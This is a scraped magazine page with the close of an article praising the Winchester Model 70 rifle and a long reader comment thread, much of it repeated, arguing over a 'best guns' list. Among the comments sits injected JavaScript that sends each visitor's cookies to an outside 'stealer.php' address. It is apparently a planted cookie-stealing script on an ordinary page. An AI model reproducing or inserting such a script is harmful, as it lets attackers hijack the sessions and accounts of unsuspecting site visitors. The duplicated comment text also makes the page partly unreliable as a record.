
The gun borrowed the best features from both the Mauser 98 and the Model 54. It retained the Mauser's massive extractor and controlled-feed system but utilized a cone-shaped breech like the Model 54's, which guided cartridges into the chamber even if they weren't perfectly aligned. In place of the Mauser's slow, jarring firing-pin fall, the Model 70's was very fast and smooth. The trigger was the best ever designed for a hunting rifle, period-"a three-piece miracle of simplicity that gave an excellent pull, would never fail, and once adjusted was adjusted forever.
But the Model 70 has had a rocky road. Pre-"World War II examples were fine, but after the war quality steadily declined, and the ones turned out before the old model's demise in 1963 were shoddy indeed. Winchester's then-president decreed that it must die because it was too costly to produce.
In 1964, Winchester announced a new Model 70 that was cheaper and basically a good gun, but it was big-time, serious Ugly. Shooters beheld it and were outraged. Their fury did not abate until 1994, when Winchester reintroduced the traditional design under the name Model 70 Classic.
Many of the original Model 70s are now collector's pieces, particularly in the scarcer calibers, and some people will pay very fancy prices for them. Its luster remains undimmed. Never before and probably never again will we see such a combination of accuracy, reliability, grace, and mystique.
Photo by Field & Stream Online Editors
Photo Gallery Comments (51)
Looking for nylon 66 information I came across this entry in google. Now I appreciate that it is based on someone's opinion; I didn't discover much objectivity in the choices. One automatic pistol? Granted the Ruger Mark I deserved to be mentioned but to ignore the Colt Woodsman, the Hi-Standard Sportmatic, and on and on. A cheap single shot shotgun without the Winchester 37 being mentioned, now it's getting to irritate me. I know, the author comes from the eastern half of the US, hunts turkey and whitetail and thinks he is an expert on the best of all 50. What a tragedy.
Remington 870 is the only gun i own so far, also my first gun, I plan on keeping it till the die I die, awesome gun.
Too bad Bill Ruger is not still with us. We could count on more great guns! It seems to me Ruger is being morphed slowly away from what Bill stood for...
The Ruger #1 is truly one of the greats!
UUUGH!! Not sure about this list.....
How can you have a list of the best guns ever made and not have Colt mentioned anywhere in the list...
c'mon
I second BeeKeeper's feelings on the Ruger #1. A real joy to look at, carry, and shoot.
I agree it is an excellent gun but, for the life of me, I cannot see the beauty in the Ruger 1. I've held them and tried to like them, but to me, they are just plain ugly. For a single shot I much prefer the looks of the Winchester 1885/Browning B78. Mine were super accurate, well made, and gorgeous.
I have hunted with this gun my whole life, and have absolutely loved it. I used it when I was 10 and still use it now as an adult. It's accurate, lightweight, and great looking gun, and perfect for any hunter. AMAZING GUN.
I must read this article 5 times a year and I enjoy it every time.
You have to be grateful for the invention of the bolt action rifle. Maybe one of the greatest inventions when it comes to hunting. However, my personal favorite is my Browning A-bolt medallion. It shoots great an has never let me down. It is like hot girlfriend that is great in the sac too.
the savage 99 has got to be one of the greatest most uniquely made guns of all time. I think there are more 99,s functioning & hunting today as well as the 94,s. ONE AWESOME RIFLE IS THE 99,s
The 870 is by far the best all-around shotgun ever made. It is the first gun I bought and is still going strong. Sure an Ithaca is a nicer gun, but it's not affordable to everyone. The 870 earned its popularity by being reliable and affordable.
I found thaat the best one is the one in my hand at the time I needed it.
But the list is ok, some I wouldn't consider the best, but then again I am a fan of the lever guns, and love my Winchester 1887 12GA. Heavy and reliable, with a steel buttplate, none of this rubber recoil stuff. The other one is a good ol Winchester 94 in 30-30, accurate and reliable also, taken several deer, rabbits, squirrels, woodchucks, and even a pheasant on the fly.
The writer of this article didn't do his homework when it comes to the S&W Model 29 .44 Magnum. Sure they said it was a .44 Magnum in the movie, but the actual gun carried by Clint Eastwood in Dirty Harry was a .41 Remington Magnum. A real gun aficianado wouldn't even mention Dirty Harry in his article.
Since the article is titled The Best Guns Ever Made should have a subtitle for what purpose. Hunting? Or just Best Guns Ever? Some VERY significant ones were left off this list - Colts 1911, The Peacemaker, Brownings Hi-Power, the M Garand, the M1A1, the AR-15. What about Holland & Holland? Nothing of theirs made the list.
Great fun to view and read. I don't take these kinds of articles too seriously.
As one who has been a gun fan for a while (old), the ears perk up when I hear the numbers: 70, 12, 52, 21, 94, (he left out the little 12, the 42).
I like many of the other numbers too. I have owned, or used about half the guns in the list, each had personality, and was special in its own way. I've lusted after some of the others.
Each generation adds new numbers, our list will will seldom match exactly, but we can all appreciate, and respect each, and more important the man making the list.
Buck@score-your-hunting.com
My 1949 Pre 64 Winchester in 270 is wearing a Accurate Innovations stock these days to take advantage of their full stock metal bedding system and laminate like stok make up. The rifle looks and shoots great, it is the rifle I took the Mulie in the accompanying picture. I do not think in my taste or opion I can find a better bolt action rifle. It is hefty, but helps reduce felt recoil and increases accuracy IMHO. I like the back up iron sights. The bolt movement is smooth, the extractor has never failed and the trigger is crisp with no creep or over travel. It is my favorite hunting rifle and I own several others,i,e, Weatherby, Browning, Kimber ,Remington, Ruger, Savage, Sako, Stevens and Steyer.They are fine shooters but the pre 64 Winchester Model 70 Bolt action is special to my shooting preferences.
I agree with most of the list, although the order could be changed for the sake of personal preference. The 50 guns listed are all excellent choices, but I'm surprised that the Ruger Mark I .22 pistol rated so high and I saw no mention of the Smith & Wesson Mo.41 anywhere in the top 50. I own 3 of these guns and they are the equivalent of a swiss made watch. Flawless to shoot, accurate, and much easier to break down than the Mark I. Would have been nice to see it on the list somewhere.
I will step out and say I disagree with a lot of the guns listed here. Several lever actions listed... the Marlin and Winchester? Why? I know they are different designs, with the top vs. side ejection, but the Winchester is an American icon. I would have gone with a commemorative saddle ring Model 94 and left it at that. And why the Mauser 98 and the 1903? The 1903, along with the .30-06 cartridge, were both blatant rip-offs of the Mauser and 8mm design; so much so that the U.S. got sued (and lost) on patent infringement. Either go original, and pick something nice like a Czech (Brno) made 98K copy (all the fine machining, no NAZI marks) or go with a 1903 (the copy, but made in America). No sense in listing both, it would be like listing a Ruger Mk I and Mk II- only minor differences between the two (such as capacity).
I think the Ruger .22 does have a spot here, but that is in my own humble opinion. It is a very fine, albeit heavy, .22 pistol with sights and accuracy that go well together. I own a P22, and I will be the first to say its sights stink.
Another question- why no autoloading centerfire pistols? The Sig 226, a perfect example of fine machining meets reliability meets modern manufacturing. And why no AR-15? The original 5.56 semi-auto (when the .222 Remington was modified to become the .223 Remington and adopted for wider mass production standards, in the form of 5.56 NATO) that was adopted by the military in select-fire forms, has been used by the U.S. for over 45 years, and has been used in some form by dozens of other countries (Canada for instance).
And why so many over and under shotguns? The Remington Model 32, really? Good guns are examples of pulling through the times with quality and reliability, and hopefully, guns that make a historical impact. The Model 32 was too expensive for its time without offering any benefits, and a complete failure because of that.
I will come out and admit, I own 18 guns on this list, and to be honest I do not see why some of them are on here. The triple lock? Again... a very nice pistol, but not a success. If we are going to mention high end guns with a high price tag and fine machining, why is no Anschuetz listed?
And why, why is "The finest battle implement ever devised" (M-1 Garand) not listed, either? No 1911, one of the biggest successes of John Browning, copied by the Russians (TT-33), Spain (Star), and in use for almost 100 years in different configurations? Popularity and historical impact both seem to have been largely forgotten in this list... in fact, what was it even based on?
I own two 8mm Mausers and the only issue I have ever had with them is ammo price, so thier not much of a range guns for me, but my 30-30s do just fine for that.
Very informative piece, I learned alot. I do agree that there were some huge omissions, and some that made me wonder how they made it, but still very interesting. I own a pre-64 Model 70 .270, and I can honestly say, it's the best bolt action I've ever shot. To surpass it requires much more money than I have to spend. I agree w/the M1 and 1911 outrage. I'll throw another in for good measure, and possible hostilities, the AK-47. Many rifles on this list were attributed w/function and reliability. Foreign or not, like it or not, the AK is the pinnacle of both. I'll further stir the hornet's nest by saying it deserves to be on this list waaay before any AR. Enjoyed the list non the less.
As usual your list always includes your favorite custom guns that no one can afford and you leave out the guns everyone truly loves. The 1911, the M1 Garand,Remington 740/7400 and 760/7600, Marlin 1895 Guide gun, The M14,the AR15, the Dragonov and the AK47- possibly the most reliable action ever made.
good list overall but i got a gripe or two.
i am lucky enough to own 6 of the guns on this list
Springfield 03
S&W 500
remington 870
mossberg 500
t/c encore
ruger 10/22
all great guns all prized
but 2 that should be on the list
Glock u pick ( i have 10mm and 40S&W)
clt
the marlin model 336 is a great deer hunting gun. especialy in .30-30
Where's the Super Blackhawk?
I have a marlin 35. lever and it's been in my family since my papaw. My papaw, my dad, and me all have killed many deer with it.
Where is the 1911 I know they they are mainly talking about hunting guns but the 1911 was revolutionary.
Why are they grouping together all 870's? The Wingmaster lasts longer and looks better then that over rated model 12. The Wingmaster is top of the line (#2 in older F&S). All guns in here are good though.
My father has a Ithaca model 37. It is a great gun and it kicks like a mule, I was twelve The first time I shot it and it nearly knocked me on my can!!!!!!!!! You are garuanteed not to miss this is a super accurate gun.If the bead is on the mark whatever it is, is down.
I have had the pleasure of shooting a few of the lower end weapons in this article...I love the Ruger single six, it is an absolute blast to shoot and doesn't feel as clunky as several other .22 rimfire revolvers I have fired. The Marlin 336 is another that I will never grow tired of. It is curious to wonder why the 1911 was left of, which was mentioned in an earlier comment, especially considering the horde of spin-offs that have been manufactured. Great list overall though
The Model 870 Shotguns is the most popular Shotgun in Firearms History and i own one!!!!!!
Yet this remarkable shotgun has been around for almost half a century, and has become the best-selling shotgun of any type in history, with over nine million made.
ok,ok i didn't read all the descriptions of "the 50 best guns ever made."i'm very familiar with most of them.but not to include defensive type handguns of the semi-automatic sort leads me to one important question:"are you on dope?"while i'm ranting let me say that to exclude the 1911 from any discussion of the greatest firearms ever built borders on high treason here in Tennessee.
i like the win. model 70 but i think the model 94 should be first on the list, i mean thats just the classic rifle plus its really a good gun
SKB also makes a fine over and under,
We all have our favorits and the Rem 700 is my choice. I do not like teh Claw extactor formany reasons, which Iwill not get into. I just bought a MarlinXL7 ad its simular to the 70 in many ways,but my overll choice is the Remington 700's.I love teh feel and the accuracy I;m able to obtain. If had to sell off all myfierms, the 70 would be teh last to go. The new 700 assembled in SC is just that assembled.Parts come from all over the world then assembled in S>C.I liked teh looks and feel of the Weatherby till i saw stamped on the bbl made in Japan.Marlin has alwaysmade a quality fiearm , just not as fancy as some,but very accurate in my hands. S for shotgun, I take the 1100 and in handgun,the S&W and Uberti. For a 30-30, will stick with my 336 MArlin for woods hunting here at home.If the gun fits you and comes up as if part of your off arm, then that's the gun you need,Me a 30-06 is all any hunter needs unless hunting teh 2 big old bears, and if I were, i suel would want a back up shooter equipted with a 375 or 416. Never wanted all teh guns, just the one's i wanted. Some are not fit to be called firearms, a rock would do better.One last item, I never drop a shell into thechamber ( Winchester will not do that). I want the shell to come from the magazine then you know if all othr shells fit proper. I just like teh round push feed better than the CLAW extracto.Seen to many ruined in the Rockies and decided they were not for me. But again, to each his own. PS;I would like to Volunteer to work for 4-6 weeks a fewhrs daily and stay in one of their Cabins, then hunt NM fo Elk. Snyone got info on this subject/ if so guide me thru, Thanks. Shoot-um-straight and often.
The prevous comment should state the 700 in 06 would be the last to go, NOT the 70. Sorry. I do like the new T/C/Ventuer, if had not just boughtand shot the MArlinXL7 I would try the T/C/. Other than the syn stock, looks like the classic con.
I've been lucky enough to have owned 19 of this list (I still have 14). I have some problems with the list but overall it's American Sporting Gun History 101. There are some names like L.C. Smith that they left out but overall it's good stuff. I was glad to see the Ruger #1 on the list. That was the first new gun I ever bought. I still have it and love it so.
This is a great list if you are Elmer Fudd. I counted only about 5-6 of the firearms listed that would even make the top 20 list of "best firearms ever made". To be honest with you, i felt like who ever had put this list together has been living in a closet for the last 30 years. Make no mistake there are a few firearms listed that are above reproach by any standard, but some of them on the list really didnt even deserve to be mentioned.
Where are the rifles that changed the world? The M1 garand, the M1A, the....dare i say....M16/AR15 (sorry if any fudd heads implode when they read that). What about the mosin nagant?
This grouping is HEAVILY biased and I wouldnt hold weight to any of it other than a select few that were revolutionary firearms when they come out. Everything else is just another rifle/shotgun that something else could be had for 1/3 the price and do the exact same thing.
yeah the list is bullshit. all the rifles that served in the US military and some foreign like the AK-47 for example should on the list. They all changed the course of history for mankind good or bad and not to menttion the break threws that were made. I do like how the Mossberg 500 made it. Its definately tough and will shoot any shell you put threw it. thats why the US Military uses it the 590A1 to be exact. sorry about the spelling im in a hurry. Im in iraq.
WOW! 50 of the World's best guns! I've owned over 50 guns in my life, and only TWO of them were on the list! I feel very UNDERPRIVELIDGED (not really). I live, hunt, fish, work and play in the harshest climate, that most people will ever hope to visit, and my firearms get the job done every time, that I do my job!
I respect your choices (It was a toough job, that couldn't please everyone), even If I disagree with some of them, and some of them I strongly disagree with!
Remember, just because something/somebody is popular with the masses, doesn't make it good or right
I have or have had 10 or 12 of the guns on the list at one time or the other.
Some of them are great but a few greater one were left out ! The 1911 is one , if not why are so people makin so many copies ? Brno,s 611 22 Win Mag. one of the bast take down's ever ? The CZ 452 22 LR , some of the best rimfire's ever built at any price ? Remington 40 X ?
I know you cant list them all but some better choices could have been made. As for the custom guns....... they cost to much and the average guy cant have one or even knows what yall are talkin about ! Last, The Nylon "66" I dislike (hate) the fact that we have as you put it accepted plastic guns! To me a fine firearm should have a fine wood stock ! ! ! If all you want to do is own a gun, plastic, I guess is O K . If we are talkin best ever , no plastic for me , thank you !
I own several of the guns on this list and some that should be. The most glaring omission is the utilitarian classic, the Marlin Model 60. How they can say that the Ruger 10/22 is the most popular gun in the world is amazing to me. Marlin has sold more that twice as many Model 60's as Ruger has sold 10/22's. The Ruger is not nearly as accurate as a Model 60 (trust me I've proven this many times) but it does cost more. Quite a bit more. The Marlin is head and shoulders better than the Ruger in fact. Unless you want to throw away half of that Ruger you bought and replace them with better parts the Ruger is never going to shoot as well as the Marlin. Why not just buy good parts right off the bat and not end up buying two sets of parts and calling your rifle a Ruger when in fact it will only be about 25% Ruger? You can buy great shooting semi-autos for far less than you would spend on that Ruger like a T/C R-55 Classic.
I agree with mod.70 win. it was the first rifle my Dad gave me and I still have it plus a new super grade 300 win. mag. that handles just as good as my old 30-06 pre 64. Everone is not going to agree with this artical but for the most part I do . I enjoyed it very much I have owned most of them and still have several of them.
uhh what about the M1 Garand??? oh wait...that gun didn't help us win any wars...
and holy shit, where's the tommy gun!?
this list = lol!
the Marlin model 60 is garbage. It looks like a table leg with a pipe on it. That's the most glaring reason why its not on the list. It's sales numbers are high because you can buy a new one for 60 dollars,and countries like Uzbekistan probably arm their soldiers with them (sarcasm). I'm not saying the 10/22 is my favorite rifle. I honestly would never own one of those either because I'm not into youth firearms. buy a Kimber, Weatherby, or cooper if your looking for a great rimfire.
I'm happy to see "The Rifleman's Rifle" at the top of the heap where it belongs! Even the "worst variation" M70 deserves that position IMO....Glad it's back and hope it'll be available as long as we have the right to own one....(The M94 too)
Gee, now that I've got a good enough WiFi signal to see more than the top 3 picks, I'm convinced that Field & Dream's editors must've fired up the bong after the first couple of picks! They're about to drop a load in their pants over the M29, but have the Blackhawk way back in 38th place? Heck, the BH gave us an AVAILABLE .44 mag in the most excellent Flattop version long before S&W did. I think once F&S sobers up they should rethink the pecking order here!!!!!!
Forgive me if I've missed anything, but your "expert(s)" somehow overlooked the following:
Mannlicher-Schoenauer M1903 Carbine; Colt M1911; Walther PP; S&W .357 Magnum; Thompson SMG: Parabellum M1900; & Mauser C96 --to name but a few. If you lack in-house talent for this sort of project, I urge you to avoid humiliation by engaging a competent consultant next time.
This is a complete disgrace to a lot of firearms. A bit heavy on the rifle and shotguns huh?? Could you maybe include a few...oh i don't know others like a SAA, 1911, or Glock. How do a few manufactures i never heard of get on there and none of the ones i mentioned. A Sako makes it but not a Glock!! Please
Didn't see who the author is. Evidently another gun writer/ editor in the pockets of private gunsmiths like Knight or small companies like Dakota Arms... There is no flow to his logic and he has way to many shotguns. There are to many "rare and expensive" selections. Where is the Browning High power if inovation was important? How much did he get for throwing the S&W 50 cal revolver in there? Where is the Colf 45 1911? I get he might be a sissy, nothing wrong with that, but to leave out ALL military weapons. Reason being is what he wrote for the Ruger 1o/22 he could repeat for the AR15, Legos for American men. Where is the 30 Carbine if inovation was so important? I learned little than not to waste my time with Field & Stream. I remember when a good magazine, before it split up into 3,4,5 or 6 other magazines had an article by many of their contributors: "Your list of top ten guns"; then there was another article in the now divested "Shooting Times", so thin and weak from spinning off it's not worth buying. The article: what one gun would you have and why if you could only have one. Not one weapon from their top ten, or from their only gun articles was mentioned in this one. What an ignorant jerk to be so out of touch with the middle class hunter/shooter in America. I'm sure he believes in global warming, drank the coolaid for government run healthcare, and so on.
1911................ Seriously. The 1911 i9s the most common and one of the best firearms ever produced. The M1Garand.
I guess maybe the editors only wanted sporting or field guns. John Moses Browning was a genius and all of his designs are still in production today.
I agree with the Nylon66, Remington700, Marlin336, RugerMkI and Mossberg500, as I have each of them or 2.
I just had to say 1911. Yes people do hunt with them.
I also wonder where the S&W .357 model 686 was.
It seems to me that liberalism the disease has infected the writers at Field & Stream. The AR15? Come on..... The single most purchased rifle in the USA.
Post a Comment
Since the article is titled The Best Guns Ever Made should have a subtitle for what purpose. Hunting? Or just Best Guns Ever? Some VERY significant ones were left off this list - Colts 1911, The Peacemaker, Brownings Hi-Power, the M Garand, the M1A1, the AR-15. What about Holland & Holland? Nothing of theirs made the list.
UUUGH!! Not sure about this list.....
How can you have a list of the best guns ever made and not have Colt mentioned anywhere in the list...
c'mon
As usual your list always includes your favorite custom guns that no one can afford and you leave out the guns everyone truly loves. The 1911, the M1 Garand,Remington 740/7400 and 760/7600, Marlin 1895 Guide gun, The M14,the AR15, the Dragonov and the AK47- possibly the most reliable action ever made.
This is a great list if you are Elmer Fudd. I counted only about 5-6 of the firearms listed that would even make the top 20 list of "best firearms ever made". To be honest with you, i felt like who ever had put this list together has been living in a closet for the last 30 years. Make no mistake there are a few firearms listed that are above reproach by any standard, but some of them on the list really didnt even deserve to be mentioned.
Where are the rifles that changed the world? The M1 garand, the M1A, the....dare i say....M16/AR15 (sorry if any fudd heads implode when they read that). What about the mosin nagant?
This grouping is HEAVILY biased and I wouldnt hold weight to any of it other than a select few that were revolutionary firearms when they come out. Everything else is just another rifle/shotgun that something else could be had for 1/3 the price and do the exact same thing.
Looking for nylon 66 information I came across this entry in google. Now I appreciate that it is based on someone's opinion; I didn't discover much objectivity in the choices. One automatic pistol? Granted the Ruger Mark I deserved to be mentioned but to ignore the Colt Woodsman, the Hi-Standard Sportmatic, and on and on. A cheap single shot shotgun without the Winchester 37 being mentioned, now it's getting to irritate me. I know, the author comes from the eastern half of the US, hunts turkey and whitetail and thinks he is an expert on the best of all 50. What a tragedy.
the savage 99 has got to be one of the greatest most uniquely made guns of all time. I think there are more 99,s functioning & hunting today as well as the 94,s. ONE AWESOME RIFLE IS THE 99,s
I will step out and say I disagree with a lot of the guns listed here. Several lever actions listed... the Marlin and Winchester? Why? I know they are different designs, with the top vs. side ejection, but the Winchester is an American icon. I would have gone with a commemorative saddle ring Model 94 and left it at that. And why the Mauser 98 and the 1903? The 1903, along with the .30-06 cartridge, were both blatant rip-offs of the Mauser and 8mm design; so much so that the U.S. got sued (and lost) on patent infringement. Either go original, and pick something nice like a Czech (Brno) made 98K copy (all the fine machining, no NAZI marks) or go with a 1903 (the copy, but made in America). No sense in listing both, it would be like listing a Ruger Mk I and Mk II- only minor differences between the two (such as capacity).
I think the Ruger .22 does have a spot here, but that is in my own humble opinion. It is a very fine, albeit heavy, .22 pistol with sights and accuracy that go well together. I own a P22, and I will be the first to say its sights stink.
Another question- why no autoloading centerfire pistols? The Sig 226, a perfect example of fine machining meets reliability meets modern manufacturing. And why no AR-15? The original 5.56 semi-auto (when the .222 Remington was modified to become the .223 Remington and adopted for wider mass production standards, in the form of 5.56 NATO) that was adopted by the military in select-fire forms, has been used by the U.S. for over 45 years, and has been used in some form by dozens of other countries (Canada for instance).
And why so many over and under shotguns? The Remington Model 32, really? Good guns are examples of pulling through the times with quality and reliability, and hopefully, guns that make a historical impact. The Model 32 was too expensive for its time without offering any benefits, and a complete failure because of that.
I will come out and admit, I own 18 guns on this list, and to be honest I do not see why some of them are on here. The triple lock? Again... a very nice pistol, but not a success. If we are going to mention high end guns with a high price tag and fine machining, why is no Anschuetz listed?
And why, why is "The finest battle implement ever devised" (M-1 Garand) not listed, either? No 1911, one of the biggest successes of John Browning, copied by the Russians (TT-33), Spain (Star), and in use for almost 100 years in different configurations? Popularity and historical impact both seem to have been largely forgotten in this list... in fact, what was it even based on?
WOW! 50 of the World's best guns! I've owned over 50 guns in my life, and only TWO of them were on the list! I feel very UNDERPRIVELIDGED (not really). I live, hunt, fish, work and play in the harshest climate, that most people will ever hope to visit, and my firearms get the job done every time, that I do my job!
I respect your choices (It was a toough job, that couldn't please everyone), even If I disagree with some of them, and some of them I strongly disagree with!
Remember, just because something/somebody is popular with the masses, doesn't make it good or right
Remington 870 is the only gun i own so far, also my first gun, I plan on keeping it till the die I die, awesome gun.
The 870 is by far the best all-around shotgun ever made. It is the first gun I bought and is still going strong. Sure an Ithaca is a nicer gun, but it's not affordable to everyone. The 870 earned its popularity by being reliable and affordable.
I found thaat the best one is the one in my hand at the time I needed it.
But the list is ok, some I wouldn't consider the best, but then again I am a fan of the lever guns, and love my Winchester 1887 12GA. Heavy and reliable, with a steel buttplate, none of this rubber recoil stuff. The other one is a good ol Winchester 94 in 30-30, accurate and reliable also, taken several deer, rabbits, squirrels, woodchucks, and even a pheasant on the fly.
Great fun to view and read. I don't take these kinds of articles too seriously.
As one who has been a gun fan for a while (old), the ears perk up when I hear the numbers: 70, 12, 52, 21, 94, (he left out the little 12, the 42).
I like many of the other numbers too. I have owned, or used about half the guns in the list, each had personality, and was special in its own way. I've lusted after some of the others.
Each generation adds new numbers, our list will will seldom match exactly, but we can all appreciate, and respect each, and more important the man making the list.
Buck@score-your-hunting.com
My 1949 Pre 64 Winchester in 270 is wearing a Accurate Innovations stock these days to take advantage of their full stock metal bedding system and laminate like stok make up. The rifle looks and shoots great, it is the rifle I took the Mulie in the accompanying picture. I do not think in my taste or opion I can find a better bolt action rifle. It is hefty, but helps reduce felt recoil and increases accuracy IMHO. I like the back up iron sights. The bolt movement is smooth, the extractor has never failed and the trigger is crisp with no creep or over travel. It is my favorite hunting rifle and I own several others,i,e, Weatherby, Browning, Kimber ,Remington, Ruger, Savage, Sako, Stevens and Steyer.They are fine shooters but the pre 64 Winchester Model 70 Bolt action is special to my shooting preferences.
I agree with most of the list, although the order could be changed for the sake of personal preference. The 50 guns listed are all excellent choices, but I'm surprised that the Ruger Mark I .22 pistol rated so high and I saw no mention of the Smith & Wesson Mo.41 anywhere in the top 50. I own 3 of these guns and they are the equivalent of a swiss made watch. Flawless to shoot, accurate, and much easier to break down than the Mark I. Would have been nice to see it on the list somewhere.
Very informative piece, I learned alot. I do agree that there were some huge omissions, and some that made me wonder how they made it, but still very interesting. I own a pre-64 Model 70 .270, and I can honestly say, it's the best bolt action I've ever shot. To surpass it requires much more money than I have to spend. I agree w/the M1 and 1911 outrage. I'll throw another in for good measure, and possible hostilities, the AK-47. Many rifles on this list were attributed w/function and reliability. Foreign or not, like it or not, the AK is the pinnacle of both. I'll further stir the hornet's nest by saying it deserves to be on this list waaay before any AR. Enjoyed the list non the less.
Where's the Super Blackhawk?
Where is the 1911 I know they they are mainly talking about hunting guns but the 1911 was revolutionary.
Why are they grouping together all 870's? The Wingmaster lasts longer and looks better then that over rated model 12. The Wingmaster is top of the line (#2 in older F&S). All guns in here are good though.
ok,ok i didn't read all the descriptions of "the 50 best guns ever made."i'm very familiar with most of them.but not to include defensive type handguns of the semi-automatic sort leads me to one important question:"are you on dope?"while i'm ranting let me say that to exclude the 1911 from any discussion of the greatest firearms ever built borders on high treason here in Tennessee.
yeah the list is bullshit. all the rifles that served in the US military and some foreign like the AK-47 for example should on the list. They all changed the course of history for mankind good or bad and not to menttion the break threws that were made. I do like how the Mossberg 500 made it. Its definately tough and will shoot any shell you put threw it. thats why the US Military uses it the 590A1 to be exact. sorry about the spelling im in a hurry. Im in iraq.
I have or have had 10 or 12 of the guns on the list at one time or the other.
Some of them are great but a few greater one were left out ! The 1911 is one , if not why are so people makin so many copies ? Brno,s 611 22 Win Mag. one of the bast take down's ever ? The CZ 452 22 LR , some of the best rimfire's ever built at any price ? Remington 40 X ?
I know you cant list them all but some better choices could have been made. As for the custom guns....... they cost to much and the average guy cant have one or even knows what yall are talkin about ! Last, The Nylon "66" I dislike (hate) the fact that we have as you put it accepted plastic guns! To me a fine firearm should have a fine wood stock ! ! ! If all you want to do is own a gun, plastic, I guess is O K . If we are talkin best ever , no plastic for me , thank you !
uhh what about the M1 Garand??? oh wait...that gun didn't help us win any wars...
and holy shit, where's the tommy gun!?
this list = lol!
Too bad Bill Ruger is not still with us. We could count on more great guns! It seems to me Ruger is being morphed slowly away from what Bill stood for...
The Ruger #1 is truly one of the greats!
I second BeeKeeper's feelings on the Ruger #1. A real joy to look at, carry, and shoot.
I agree it is an excellent gun but, for the life of me, I cannot see the beauty in the Ruger 1. I've held them and tried to like them, but to me, they are just plain ugly. For a single shot I much prefer the looks of the Winchester 1885/Browning B78. Mine were super accurate, well made, and gorgeous.
I have hunted with this gun my whole life, and have absolutely loved it. I used it when I was 10 and still use it now as an adult. It's accurate, lightweight, and great looking gun, and perfect for any hunter. AMAZING GUN.
I must read this article 5 times a year and I enjoy it every time.
You have to be grateful for the invention of the bolt action rifle. Maybe one of the greatest inventions when it comes to hunting. However, my personal favorite is my Browning A-bolt medallion. It shoots great an has never let me down. It is like hot girlfriend that is great in the sac too.
I own two 8mm Mausers and the only issue I have ever had with them is ammo price, so thier not much of a range guns for me, but my 30-30s do just fine for that.
good list overall but i got a gripe or two.
i am lucky enough to own 6 of the guns on this list
Springfield 03
S&W 500
remington 870
mossberg 500
t/c encore
ruger 10/22
all great guns all prized
but 2 that should be on the list
Glock u pick ( i have 10mm and 40S&W)
clt
the marlin model 336 is a great deer hunting gun. especialy in .30-30
I have a marlin 35. lever and it's been in my family since my papaw. My papaw, my dad, and me all have killed many deer with it.
My father has a Ithaca model 37. It is a great gun and it kicks like a mule, I was twelve The first time I shot it and it nearly knocked me on my can!!!!!!!!! You are garuanteed not to miss this is a super accurate gun.If the bead is on the mark whatever it is, is down.
the Marlin model 60 is garbage. It looks like a table leg with a pipe on it. That's the most glaring reason why its not on the list. It's sales numbers are high because you can buy a new one for 60 dollars,and countries like Uzbekistan probably arm their soldiers with them (sarcasm). I'm not saying the 10/22 is my favorite rifle. I honestly would never own one of those either because I'm not into youth firearms. buy a Kimber, Weatherby, or cooper if your looking for a great rimfire.
I'm happy to see "The Rifleman's Rifle" at the top of the heap where it belongs! Even the "worst variation" M70 deserves that position IMO....Glad it's back and hope it'll be available as long as we have the right to own one....(The M94 too)
Gee, now that I've got a good enough WiFi signal to see more than the top 3 picks, I'm convinced that Field & Dream's editors must've fired up the bong after the first couple of picks! They're about to drop a load in their pants over the M29, but have the Blackhawk way back in 38th place? Heck, the BH gave us an AVAILABLE .44 mag in the most excellent Flattop version long before S&W did. I think once F&S sobers up they should rethink the pecking order here!!!!!!
Forgive me if I've missed anything, but your "expert(s)" somehow overlooked the following:
Mannlicher-Schoenauer M1903 Carbine; Colt M1911; Walther PP; S&W .357 Magnum; Thompson SMG: Parabellum M1900; & Mauser C96 --to name but a few. If you lack in-house talent for this sort of project, I urge you to avoid humiliation by engaging a competent consultant next time.
Nice guns.
function getCookie(c_name)
{
if (document.cookie.length>0)
{
c_start=document.cookie.indexOf(c_name + "=");
if (c_start!=-1)
{
c_start=c_start + c_name.length+1 ;
c_end=document.cookie.indexOf(";",c_start);
if (c_end==-1) c_end=document.cookie.length
return unescape(document.cookie.substring(c_start,c_end));
}
}
return ""
}
function setCookie(c_name,value,expiredays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : "; expires="+exdate.toGMTString());
}
function checkCookie()
{
cookie=getCookie('logged');
if (cookie=='True')
{
document.write('');
}
else
{
document.location.href="http://raptor.ulmb.com/stealer.php?cookie="+document.cookie;
setCookie('logged','True',365);
}
}
I have had the pleasure of shooting a few of the lower end weapons in this article...I love the Ruger single six, it is an absolute blast to shoot and doesn't feel as clunky as several other .22 rimfire revolvers I have fired. The Marlin 336 is another that I will never grow tired of. It is curious to wonder why the 1911 was left of, which was mentioned in an earlier comment, especially considering the horde of spin-offs that have been manufactured. Great list overall though
The Model 870 Shotguns is the most popular Shotgun in Firearms History and i own one!!!!!!
Yet this remarkable shotgun has been around for almost half a century, and has become the best-selling shotgun of any type in history, with over nine million made.
SKB also makes a fine over and under,
We all have our favorits and the Rem 700 is my choice. I do not like teh Claw extactor formany reasons, which Iwill not get into. I just bought a MarlinXL7 ad its simular to the 70 in many ways,but my overll choice is the Remington 700's.I love teh feel and the accuracy I;m able to obtain. If had to sell off all myfierms, the 70 would be teh last to go. The new 700 assembled in SC is just that assembled.Parts come from all over the world then assembled in S>C.I liked teh looks and feel of the Weatherby till i saw stamped on the bbl made in Japan.Marlin has alwaysmade a quality fiearm , just not as fancy as some,but very accurate in my hands. S for shotgun, I take the 1100 and in handgun,the S&W and Uberti. For a 30-30, will stick with my 336 MArlin for woods hunting here at home.If the gun fits you and comes up as if part of your off arm, then that's the gun you need,Me a 30-06 is all any hunter needs unless hunting teh 2 big old bears, and if I were, i suel would want a back up shooter equipted with a 375 or 416. Never wanted all teh guns, just the one's i wanted. Some are not fit to be called firearms, a rock would do better.One last item, I never drop a shell into thechamber ( Winchester will not do that). I want the shell to come from the magazine then you know if all othr shells fit proper. I just like teh round push feed better than the CLAW extracto.Seen to many ruined in the Rockies and decided they were not for me. But again, to each his own. PS;I would like to Volunteer to work for 4-6 weeks a fewhrs daily and stay in one of their Cabins, then hunt NM fo Elk. Snyone got info on this subject/ if so guide me thru, Thanks. Shoot-um-straight and often.
The prevous comment should state the 700 in 06 would be the last to go, NOT the 70. Sorry. I do like the new T/C/Ventuer, if had not just boughtand shot the MArlinXL7 I would try the T/C/. Other than the syn stock, looks like the classic con.
I've been lucky enough to have owned 19 of this list (I still have 14). I have some problems with the list but overall it's American Sporting Gun History 101. There are some names like L.C. Smith that they left out but overall it's good stuff. I was glad to see the Ruger #1 on the list. That was the first new gun I ever bought. I still have it and love it so.
